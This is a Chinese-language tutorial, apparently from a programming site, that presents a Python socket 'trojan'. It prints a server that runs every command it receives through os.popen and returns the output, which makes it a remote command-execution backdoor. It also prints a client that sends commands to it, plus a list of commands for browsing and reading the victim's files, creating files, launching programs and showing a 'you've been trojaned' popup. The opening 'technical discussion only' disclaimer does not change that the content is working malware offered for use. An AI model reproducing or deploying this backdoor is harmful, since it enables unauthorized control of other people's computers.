Python Socket實現遠程木馬彈窗詳解
嚴正聲明:本文僅限於技術討論,嚴禁用於其他用途。
基礎知識
- socket通信模塊:針對TCP/IP協議簇進行的程序封裝,在Windows/Linux均有這樣底層模塊。
- Unicode 有多種存儲方式,常見的有 UTF-8、UTF-16、UTF-32,它們分別用不同的二進制格式來表示 Unicode 字符
- 如果全部英文或英文與其他文字混合,但英文占絕大部分,用UTF-8就比UTF-16節省瞭很多空間.而如果全部是中文這樣類似的字符或者混合字符中中文占絕大多數.UTF-16就占優勢瞭,可以節省很多空間
編碼:
- 英文多:建議用UTF-8編碼(utf-8是使用最多的編碼方式,是一種變長字符編碼)
- 中文多:建議用UTF-16編碼
- 中文:window中文采用的是GBK格式編碼
netstat -ant :隻顯示傳輸層的數據 TCP,UDP連接,可以用來檢查socket服務是否起瞭
服務端(server)程序
import socket, os def attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有設備均可訪問該服務器的6667端口 s.listen() # 對6667端口進行監聽 chanel, client = s.accept() # 進入阻塞狀態,accept() 返回元組,接受來自客戶端的數據,chanel:新的socket對象用於標識出服務器和哪個客戶端連接進行通信, client: 客戶端的IP和端口 while True: receive = chanel.recv(1024).decode() reply = os.popen(receive).read() chanel.send(f"命令{receive}的運行結果:\n{reply}".encode()) except: s.close() attack() if __name__ == '__main__': attack()
客戶端(client)程序
import socket s = socket.socket() s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服務器的地址 while True: sendstr = input("請輸入消息:") s.send(sendstr.encode()) receive = s.recv(1024).decode() print(f"服務器回復:{receive}") # s.close()
其他命令執行函數
提示:需要導入 os 模塊—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 將字符串按照Python代碼來執行
該木馬程序的基本用法
1、查看文件內容
window
type 文件絕對路徑
linux
cat 文件路徑
2、查看文件目錄
window
dir #查看當前文件路徑目錄
dir 文件路徑 #查看指定文件路徑目錄
linux
ls #查看當前文件路徑目錄
ll #查看當前文件路徑目錄詳細信息
ls 文件路徑 #查看指定文件路徑目錄
ll 文件路徑 #查看指定文件路徑目錄詳細信息
3、創建文件或目錄
windows
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
linux
mkdir 路徑 #創建目錄
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
4、調用windows應用程序
調用計算器
calc.exe
調用其他引用程序
直接輸入應用程序絕對路徑
5、調用Windows彈窗
echo msgbox("你中木馬瞭!!") > E:\hi.vbs
E:\hi.vbs
到此這篇關於Python Socket實現遠程木馬彈窗詳解的文章就介紹到這瞭,更多相關Python Socket內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- python利用socket實現客戶端和服務端之間進行通信
- 詳解python的網絡編程基礎
- Python實現Socket通信建立TCP反向連接
- Python中的socket網絡模塊介紹
- Python socket如何實現服務端和客戶端數據傳輸(TCP)